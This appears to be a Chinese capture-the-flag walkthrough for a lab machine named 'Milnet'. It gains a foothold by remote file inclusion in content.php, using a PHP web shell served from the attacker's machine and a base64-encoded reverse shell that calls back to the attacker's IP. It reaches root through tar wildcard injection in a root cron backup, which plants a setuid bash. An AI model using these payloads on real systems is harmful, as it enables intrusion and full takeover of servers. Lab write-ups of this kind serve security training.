跳转至

Milnet

usershell

目标IP:192.168.205.141

端口信息

22/tcp open  ssh
80/tcp open  http

Web服务content.php存在远程文件包含漏洞,会给route参数拼接.php后缀然后进行包含,测试可以进行远程文件包含

echo '<?php system($_POST["cmd"]);' > shell.php
python -m http.server

启动一个HTTP服务器

curl -X POST http://192.168.205.141/content.php -d "route=http://192.168.205.128:8000/shell&cmd=echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDUuMTI4LzEyMzQgMD4mMQ==|base64 -d|bash"

获得www-data权限

rootshell

crontab -l; cat /etc/crontab;cat /var/spool/cron/crontabs/root

发现一个计划任务

*/1 *   * * *   root    /backup/backup.sh

但是/backup/backup.sh不可写

文件内容

#!/bin/bash
cd /var/www/html
tar cf /backup/backup.tgz *

只能从这个tar入手了,在/home/langman/SDINET/下发现一篇文章DefenseCode_Unix_WildCards_Gone_Wild.txt

是一篇对Unix通配符的安全问题分析的文章,根据文章内容进行利用

cd /var/www/html
echo IyAhL2Jpbi9iYXNoCmNwIC9iaW4vYmFzaCAvdmFyL3d3dy9iYXNoCmNobW9kICt4cyAvdmFyL3d3dy9iYXNo|base64 -d > shell.sh
chmod +x shell.sh

然后写一个php脚本来进行进一步的利用,反弹出来的shell创建这种文件有点问题

<?php
file_put_contents('--checkpoint=1','');
file_put_contents('--checkpoint-action=exec=sh shell.sh','');

/var/www/html下执行这个脚本

等待一分钟左右,获得root权限

image-20231217193536080